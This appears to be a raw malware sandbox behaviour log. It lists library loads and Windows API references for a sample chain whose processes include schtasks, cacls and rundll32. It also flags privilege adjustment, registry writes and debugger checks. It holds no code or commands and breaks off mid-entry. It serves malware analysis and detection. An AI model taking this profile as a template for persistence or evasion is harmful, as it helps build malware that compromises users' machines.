00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\WPF\wpfgfx_v0400.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Intern (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Transactions\3d760b4a3260a41ef84a3fd866780980\System.Transactions.ni.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Management\e114780fd3ea5727401c06ea4f22ef35\System.Management.ni.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\\wminet_utils.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Security\93d03eb9812405fa70e89d4efd5f7e14\System.Security.ni.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Mozilla Firefox\firefox.exe (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Internet Explorer\iexplore.exe (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\VCRUNTIME140_CLR0400.dll (UID: 00000000-00001792) "AppLaunch.exe" called "LoadLibrary" with a parameter VCRUNTIME140_CLR0400.dll (UID: 00000000-00001792) "5VA7se4.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00003116) "5VA7se4.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003116) "5VA7se4.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00003116) "5VA7se4.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00003116) "5VA7se4.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003116) "5VA7se4.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00003116) "5VA7se4.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00003116) "5VA7se4.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\shdocvw.dll (UID: 00000000-00003116) "5VA7se4.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00003116) "5VA7se4.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003116) "5VA7se4.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00003116) "5VA7se4.exe" called "LoadLibrary" with a parameter API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL (UID: 00000000-00003116) "5VA7se4.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00003116) "5VA7se4.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00003116) "explothe.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00002164) "explothe.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002164) "explothe.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00002164) "explothe.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00002164) "explothe.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002164) "explothe.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\ieframe.dll (UID: 00000000-00002164) "explothe.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00002164) "explothe.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002164) "explothe.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00002164) "explothe.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00002164) "explothe.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00002164) "explothe.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00002164) "explothe.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00002164) "explothe.exe" called "LoadLibrary" with a parameter Comctl32.dll (UID: 00000000-00002164) "explothe.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\ws2_32 (UID: 00000000-00002164) "explothe.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002164) "6hE6Ue0.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00000368) "6hE6Ue0.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00000368) "6hE6Ue0.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00000368) "6hE6Ue0.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00000368) "6hE6Ue0.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00000368) "6hE6Ue0.exe" called "LoadLibrary" with a parameter API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL (UID: 00000000-00000368) "6hE6Ue0.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00000368) "6hE6Ue0.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00000368) "6hE6Ue0.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00000368) "6hE6Ue0.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00000368) "6hE6Ue0.exe" called "LoadLibrary" with a parameter %TEMP%\IXP000.TMP\6hE6Ue0.exe (UID: 00000000-00000368) "6hE6Ue0.exe" called "LoadLibrary" with a parameter Kernel32.DLL (UID: 00000000-00000368) "6hE6Ue0.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00000368) "cmd.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002412) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002412) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002412) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002412) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002412) "cmd.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00002412) "cmd.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002412) "cmd.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00002412) "cmd.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00002412) "cmd.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002412) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l1-1-0.dll (UID: 00000000-00002412) "cmd.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00002412) "cmd.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00002412) "cmd.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00002412) "schtasks.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002944) "schtasks.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\schtasks.exe (UID: 00000000-00002944) "schtasks.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00002944) "cacls.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00003500) "cacls.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00000960) "cacls.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000960) "cacls.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000960) "rundll32.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002580) "rundll32.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002580) "rundll32.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00002580) "rundll32.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002580) "rundll32.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002580) "cacls.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\IMM32.DLL (UID: 00000000-00002696) "cacls.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00002696) "explothe.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00003596) "explothe.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002556) "explothe.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002556) "explothe.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002556) "explothe.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002556) "explothe.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00002556)3c:Tdc0,Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; File: "file") Found reference to API "ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; File: "00003964.00000F7C.10036313417861179.00050000.wprm") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00000368.00000000.69514.00440000.00000004.mdmp, 00000000-00000368.00000000.69514.00610000.00000004.mdmp, 00000000-00000368.00000000.69514.00820000.00000004.mdmp, 00000000-00000368.00000001.70309.00440000.00000004.mdmp, 00000000-00000368.00000001.70309.00610000.00000004.mdmp, 00000000-00000368.00000001.70309.00820000.00000004.mdmp") Found reference to API "ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00000368.00000000.69514.00610000.00000004.mdmp, 00000000-00000368.00000001.70309.00610000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitig" (Indicator: "CreateProcess"; Source: "00000000-00000368.00000000.69514.00820000.00000004.mdmp, 00000000-00000368.00000001.70309.00820000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00000488.00000000.67644.00280000.00000004.mdmp, 00000000-00000488.00000000.67644.00470000.00000004.mdmp, 00000000-00000488.00000000.67644.00D10000.00000004.mdmp, 00000000-00000488.00000001.67961.00280000.00000004.mdmp, 00000000-00000488.00000001.67961.00470000.00000004.mdmp, 00000000-00000488.00000001.67961.00D10000.00000004.mdmp") Found reference to API "ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00000488.00000000.67644.00280000.00000004.mdmp, 00000000-00000488.00000001.67961.00280000.00000004.mdmp") Found reference to API "ElevateCreateProcess WRPM" (Indicator: "CreateProcess"; Source: "00000000-00000488.00000000.67644.00280000.00000004.mdmp, 00000000-00000488.00000001.67961.00280000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigm" (Indicator: "CreateProcess"; Source: "00000000-00000488.00000000.67644.00470000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitig" (Indicator: "CreateProcess"; Source: "00000000-00000488.00000001.67961.00470000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00000808.00000000.68658.00250000.00000004.mdmp, 00000000-00000808.00000000.68658.00520000.00000004.mdmp, 00000000-00000808.00000000.68658.00590000.00000004.mdmp, 00000000-00000808.00000001.68760.00250000.00000004.mdmp, 00000000-00000808.00000001.68760.00520000.00000004.mdmp, 00000000-00000808.00000001.68760.00590000.00000004.mdmp") Found reference to API "ElevateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00000808.00000000.68658.00250000.00000004.mdmp, 00000000-00000808.00000001.68760.00250000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitig" (Indicator: "CreateProcess"; Source: "00000000-00000808.00000000.68658.00520000.00000004.mdmp, 00000000-00000808.00000001.68760.00520000.00000004.mdmp") Found reference to API "MPAT_LAYER=ElevateCreateProcess WRPMitigationLayer" (Indicator: "CreateProcess"; Source: "00000000-00000808.00000001.68760.00250000.00000004.mdmp") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00001068.00000000.72019.00E6C000.00000002.mdmp")3d:T14270,Found reference to API (Indicator: "CheckTokenMembership"; File: "file") Found reference to API (Indicator: "HeapSetInformation"; File: "file") Found reference to API (Indicator: "DecryptFileA"; File: "file") Found reference to API (Indicator: "SHBrowseForFolder"; File: "file") Found reference to API (Indicator: "SHGetPathFromIDList"; File: "file") Found reference to API (Indicator: "GetTokenInformation"; File: "file") Found reference to API (Indicator: "RegDeleteValueA"; File: "file") Found reference to API (Indicator: "RegOpenKeyExA"; File: "file") Found reference to API (Indicator: "RegQueryInfoKeyA"; File: "file") Found reference to API (Indicator: "FreeSid"; File: "file") Found reference to API (Indicator: "OpenProcessToken"; File: "file") Found reference to API (Indicator: "RegSetValueExA"; File: "file") Found reference to API (Indicator: "RegCreateKeyExA"; File: "file") Found reference to API (Indicator: "LookupPrivilegeValueA"; File: "file") Found reference to API (Indicator: "AllocateAndInitializeSid"; File: "file") Found reference to API (Indicator: "RegQueryValueExA"; File: "file") Found reference to API (Indicator: "EqualSid"; File: "file") Found reference to API (Indicator: "RegCloseKey"; File: "file") Found reference to API (Indicator: "AdjustTokenPrivileges"; File: "file") Found reference to API (Indicator: "GetShortPathNameA"; File: "file") Found reference to API (Indicator: "GetModuleFileNameA"; File: "file") Found reference to API (Indicator: "FindFirstFileA"; File: "file") Found reference to API (Indicator: "GetCurrentProcess"; File: "file") Found reference to API (Indicator: "FindNextFileA"; File: "file") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; File: "file") Found reference to API (Indicator: "FindClose"; File: "file") Found reference to API (Indicator: "LocalAlloc"; File: "file") Found reference to API (Indicator: "lstrcmpA"; File: "file") Found reference to API (Indicator: "CompareStringA"; File: "file") Found reference to API (Indicator: "GetLastError"; File: "file") Found reference to API (Indicator: "GetFileAttributesA"; File: "file") Found reference to API (Indicator: "GetSystemDirectoryA"; File: "file") Found reference to API (Indicator: "LoadLibraryA"; File: "file") Found reference to API (Indicator: "DeleteFileA"; File: "file") Found reference to API (Indicator: "GlobalAlloc"; File: "file") Found reference to API (Indicator: "GlobalFree"; File: "file") Found reference to API (Indicator: "CloseHandle"; File: "file") Found reference to API (Indicator: "WritePrivateProfileStringA"; File: "file") Found reference to API (Indicator: "IsDBCSLeadByte"; File: "file") Found reference to API (Indicator: "GetWindowsDirectoryA"; File: "file") Found reference to API (Indicator: "SetFileAttributesA"; File: "file") Found reference to API (Indicator: "GetProcAddress"; File: "file") Found reference to API (Indicator: "GlobalLock"; File: "file") Found reference to API (Indicator: "LocalFree"; File: "file") Found reference to API (Indicator: "RemoveDirectoryA"; File: "file") Found reference to API (Indicator: "FreeLibrary"; File: "file") Found reference to API (Indicator: "CreateDirectoryA"; File: "file") Found reference to API (Indicator: "GetPrivateProfileIntA"; File: "file") Found reference to API (Indicator: "GetPrivateProfileStringA"; File: "file") Found reference to API (Indicator: "GlobalUnlock"; File: "file") Found reference to API (Indicator: "ReadFile"; File: "file") Found reference to API (Indicator: "SizeofResource"; File: "file") Found reference to API (Indicator: "WriteFile"; File: "file") Found reference to API (Indicator: "GetDriveTypeA"; File: "file") Found reference to API (Indicator: "LoadLibraryExA"; File: "file") Found reference to API (Indicator: "SetFileTime"; File: "file") Found reference to API (Indicator: "SetFilePointer"; File: "file") Found reference to API (Indicator: "FindResourceA"; File: "file") Found reference to API (Indicator: "CreateMutexA"; File: "file") Found reference to API (Indicator: "GetVolumeInformationA"; File: "file") Found reference to API (Indicator: "WaitForSingleObject"; File: "file") Found reference to API (Indicator: "GetCurrentDirectoryA"; File: "file") Found reference to API (Indicator: "FreeResource"; File: "file") Found reference to API (Indicator: "GetVersion"; File: "file") Found reference to API (Indicator: "SetCurrentDirectoryA"; File: "file") Found reference to API (Indicator: "GetTempPathA"; File: "file") Found reference to API (Indicator: "LocalFileTimeToFileTime"; File: "file") Found reference to API (Indicator: "CreateFileA"; File: "file") Found reference to API (Indicator: "SetEvent"; File: "file") Found reference to API (Indicator: "TerminateThread"; File: "file") Found reference to API (Indicator: "GetVersionExA"; File: "file") Found reference to API (Indicator: "LockResource"; File: "file") Found reference to API (Indicator: "GetSystemInfo"; File: "file") Found reference to API (Indicator: "CreateThread"; File: "file") Found reference to API (Indicator: "ResetEvent"; File: "file") Found reference to API (Indicator: "LoadResource"; File: "file") Found reference to API (Indicator: "ExitProcess"; File: "file") Found reference to API (Indicator: "GetModuleHandleW"; File: "file") Found reference to API (Indicator: "CreateProcessA"; File: "file") Found reference to API (Indicator: "FormatMessageA"; File: "file") Found reference to API (Indicator: "GetTempFileNameA"; File: "file") Found reference to API (Indicator: "DosDateTimeToFileTime"; File: "file") Found reference to API (Indicator: "CreateEventA"; File: "file") Found reference to API (Indicator: "GetExitCodeProcess"; File: "file") Found reference to API (Indicator: "GetDeviceCaps"; File: "file") Found reference to API (Indicator: "GetDesktopWindow"; File: "file") Found reference to API (Indicator: "CharUpperA"; File: "file") Found reference to API (Indicator: "ExitWindowsEx"; File: "file") Found reference to API (Indicator: "MessageBeep"; File: "file") Found reference to API (Indicator: "CharPrevA"; File: "file") Found reference to API (Indicator: "LoadStringA"; File: "file") Found reference to API (Indicator: "CharNextA"; File: "file") Found reference to API (Indicator: "EnableWindow"; File: "file") Found reference to API (Indicator: "ReleaseDC"; File: "file") Found reference to API (Indicator: "SetForegroundWindow"; File: "file") Found reference to API (Indicator: "PeekMessageA"; File: "file") Found reference to API (Indicator: "SendMessageA"; File: "file") Found reference to API (Indicator: "MessageBoxA"; File: "file") Found reference to API (Indicator: "SetWindowTextA"; File: "file") Found reference to API (Indicator: "GetWindowLongA"; File: "file") Found reference to API (Indicator: "CallWindowProcA"; File: "file") Found reference to API (Indicator: "SetWindowLongA"; File: "file") Found reference to API (Indicator: "ShowWindow"; File: "file") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; File: "file") Found reference to API (Indicator: "SetWindowPos"; File: "file") Found reference to API (Indicator: "GetDC"; File: "file") Found reference to API (Indicator: "GetWindowRect"; File: "file") Found reference to API (Indicator: "DispatchMessageA"; File: "file") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; File: "file") Found reference to API (Indicator: "VerQueryValueA"; File: "file") Found reference to API (Indicator: "GetFileVersionInfoA"; File: "file") Found reference to API (Indicator: "Sleep"; File: "file") Found reference to API (Indicator: "GetStartupInfoW"; File: "file") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "file") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "file") Found reference to API (Indicator: "TerminateProcess"; File: "file") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "file") Found reference to API (Indicator: "GetCurrentProcessId"; File: "file") Found reference to API (Indicator: "GetCurrentThreadId"; File: "file") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "file") Found reference to API (Indicator: "GetTickCount"; File: "file") Found reference to API (Indicator: "EnumResourceLanguagesA"; File: "file") Found reference to API (Indicator: "GetDiskFreeSpaceA"; File: "file") Found reference to API (Indicator: "MulDiv"; File: "file") Found reference to API (Indicator: "GetSystemMetrics"; File: "file") Found reference to API (Indicator: "FlsSetValue"; File: "00000000-00003992.00000000.68305.011A1000.00000020.mdmp") Found reference to API (Indicator: "FlsGetValue"; File: "00000000-00003992.00000000.68305.011A1000.00000020.mdmp") Found reference to API (Indicator: "GetWindowDC"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API (Indicator: "SendMessage"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API (Indicator: "GetClassName"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API (Indicator: "ReleaseCapture"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API (Indicator: "GetWindowLong"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API (Indicator: "SetWindowLong"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API (Indicator: "InsertMenuItem"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API (Indicator: "ClientToScreen"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API (Indicator: "CreateRoundRectRgn"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API (Indicator: "GetScrollInfo"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API (Indicator: "DrawMenuBar"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API (Indicator: "LoadCursor"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API (Indicator: "SetCursor"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API (Indicator: "GetLogicalDrives"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API (Indicator: "GetCursorPos"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API (Indicator: "GetClientRect"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API (Indicator: "BitBlt"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API (Indicator: "WindowFromPoint"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API (Indicator: "GetWindowText"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API (Indicator: "GetSystemMenu"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API (Indicator: "InsertMenu"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API (Indicator: "FindWindow"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API (Indicator: "DestroyWindow"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API (Indicator: "GetDCEx"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API (Indicator: "TrackPopupMenuEx"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API (Indicator: "CreateWindowEx"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API (Indicator: "MessageBox"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API (Indicator: "RegisterHotKey"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API (Indicator: "UnregisterHotKey"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API (Indicator: "CreateDirectory"; File: "00000000-00000808.00000000.68658.00A19000.00000004.mdmp") Found reference to API (Indicator: "GetActiveWindow"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "GetLastActivePopup"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "GetUserObjectInformationA"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "MultiByteToWideChar"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "lstrlenA"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "InterlockedDecrement"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "GetModuleHandleA"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "Module32Next"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "Module32First"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "CreateToolhelp32Snapshot"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "OleInitialize"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "HeapFree"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "GetProcessHeap"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "HeapAlloc"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "GetCommandLineA"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "HeapCreate"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "VirtualFree"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "DeleteCriticalSection"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "LeaveCriticalSection"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "EnterCriticalSection"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "VirtualAlloc"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "HeapReAlloc"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "HeapSize"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "IsDebuggerPresent"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "GetStdHandle"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "GetConsoleCP"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "GetConsoleMode"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "TlsGetValue"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "TlsAlloc"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "TlsSetValue"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "TlsFree"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "InterlockedIncrement"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "SetLastError"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "FlushFileBuffers"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "SetHandleCount"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "GetFileType"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "GetStartupInfoA"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "RtlUnwind"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "FreeEnvironmentStringsA"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "GetEnvironmentStrings"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "GetCPInfo"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "GetACP"; File: "1BC12Pi1.exe.3913938919") Found reference to API (Indicator: "GetOEMCP"; File: 